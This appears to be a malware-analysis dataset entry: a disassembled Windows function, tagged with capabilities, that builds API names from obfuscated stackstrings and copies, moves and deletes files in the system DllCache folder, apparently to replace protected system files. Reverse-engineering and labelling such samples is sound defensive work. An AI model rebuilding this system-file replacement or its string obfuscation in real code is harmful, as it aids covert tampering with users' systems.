Function at 0x404203
Capabilities:
Contain obfuscated stackstrings
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x67c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
lea eax, [ebp - 0x50]
push edi
xor ebx, ebx
push eax
push str.Kernel32.dll
mov byte [ebp - 0x50], 0x47
mov byte [ebp - 0x4f], 0x65
mov byte [ebp - 0x4e], 0x74
mov byte [ebp - 0x4d], 0x57
mov byte [ebp - 0x4c], 0x69
mov byte [ebp - 0x4b], 0x6e
mov byte [ebp - 0x4a], 0x64
mov byte [ebp - 0x49], 0x6f
mov byte [ebp - 0x48], 0x77
mov byte [ebp - 0x47], 0x73
mov byte [ebp - 0x46], 0x44
mov byte [ebp - 0x45], 0x69
mov byte [ebp - 0x44], 0x72
mov byte [ebp - 0x43], 0x65
mov byte [ebp - 0x42], 0x63
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x6f
mov byte [ebp - 0x3f], 0x72
mov byte [ebp - 0x3e], 0x79
mov byte [ebp - 0x3d], 0x41
mov byte [ebp - 0x3c], bl
call esi
push eax
call fcn.00401781
push pe_nt_image_headers32
xor eax, eax
pop edx
lea edi, [ebp - 0x67b]
mov ecx, edx
mov byte [ebp - 0x67c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x26b]
mov byte [ebp - 0x26c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x577]
mov byte [ebp - 0x578], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x167]
mov byte [ebp - 0x168], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x20], 0x44
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], 0x63
mov byte [ebp - 0x1a], 0x68
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x5c
mov byte [ebp - 0x17], bl
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x74
mov byte [ebp - 4], bl
mov byte [ebp - 0x370], bl
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x36f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x473]
mov byte [ebp - 0x474], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x67c]
push eax
call fcn.004016ee
xor eax, eax
lea edi, [ebp - 0x63]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
mov byte [ebp - 0x64], 0x2e
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 0x14
push 1
pop edi
call dword [sym.imp.MSVCRT.dll_rand]
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x41
mov byte [ebp + edi - 0x64], dl
inc edi
cmp edi, 5
jl 0x404365
lea eax, [ebp - 0x67c]
mov byte [ebp + edi - 0x63], bl
push eax
lea eax, [ebp - 0x26c]
push eax
call fcn.00401504
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x26c]
push eax
call fcn.004015fb
push dword [ebp + 8]
lea eax, [ebp - 0x26c]
push eax
call fcn.004015fb
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x578]
push eax
call fcn.00401504
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x578]
push eax
call fcn.004015fb
lea eax, [ebp - 0x67c]
push eax
lea eax, [ebp - 0x168]
push eax
call fcn.00401504
push dword [ebp + 8]
lea eax, [ebp - 0x168]
push eax
call fcn.004015fb
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x370]
push eax
call fcn.00401504
add esp, 0x40
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x474]
push eax
call fcn.00401504
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x370]
push eax
call fcn.004015fb
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x474]
push eax
call fcn.004015fb
lea eax, [ebp - 0x474]
push eax
call fcn.00401625
add esp, 0x1c
test eax, eax
jne 0x40445c
xor al, al
jmp 0x404654
lea eax, [ebp - 0x14]
mov edi, str.Kernel32.dll
push eax
push edi
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0x11], 0x79
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x41
mov byte [ebp - 0xb], bl
mov byte [ebp - 0x2c], 0x4d
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x76
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x46
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x6c
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x78
mov byte [ebp - 0x22], 0x41
mov byte [ebp - 0x21], bl
call esi
push eax
call fcn.00401781
pop ecx
mov dword [ebp - 0x54], eax
pop ecx
lea eax, [ebp - 0x2c]
push eax
push edi
call esi
push eax
call fcn.00401781
mov dword [ebp + 8], eax
lea eax, [ebp - 0x168]
push eax
call fcn.00401625
add esp, 0xc
test eax, eax
je 0x4045b9
lea eax, [ebp - 0x370]
push eax
call fcn.00401625
test eax, eax
pop ecx
je 0x404548
lea eax, [ebp - 0x38]
mov byte [ebp - 0x38], 0x44
push eax
push edi
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x6c
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x74
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x46
mov byte [ebp - 0x31], 0x69
mov byte [ebp - 0x30], 0x6c
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x41
mov byte [ebp - 0x2d], bl
call esi
push eax
call fcn.00401781
pop ecx
pop ecx
lea ecx, [ebp - 0x370]
push ecx
call eax
lea eax, [ebp - 0x370]
push 1
push eax
lea eax, [ebp - 0x168]
push eax
call fcn.004041e9
add esp, 0xc
test al, al
je 0x4045b9
lea eax, [ebp - 0x370]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x370]
push 1
push eax
lea eax, [ebp - 0x168]
push eax
call dword [ebp + 8]
test eax, eax
jne 0x4045b9
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
call esi
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x370]
push 1
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
test eax, eax
jne 0x4045b9
call esi
lea eax, [ebp - 0x26c]
push eax
call fcn.00401625
test eax, eax
pop ecx
je 0x404623
lea eax, [ebp - 0x578]
push 1
push eax
lea eax, [ebp - 0x26c]
push eax
call fcn.004041e9
add esp, 0xc
test al, al
je 0x404623
lea eax, [ebp - 0x578]
push 3
push eax
lea eax, [ebp - 0x26c]
push eax
call dword [ebp + 8]
lea eax, [ebp - 0x26c]
push 2
push eax
lea eax, [ebp - 0x474]
push eax
call fcn.004041e9
add esp, 0xc
lea eax, [ebp - 0x26c]
push ebx
push eax
lea eax, [ebp - 0x474]
push eax
call dword [ebp - 0x54]
lea eax, [ebp - 0x168]
push 2
push eax
lea eax, [ebp - 0x474]
push eax
call fcn.004041e9
add esp, 0xc
test al, al
je 0x404652
lea eax, [ebp - 0x168]
push 3
push eax
lea eax, [ebp - 0x474]
push eax
call dword [ebp + 8]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret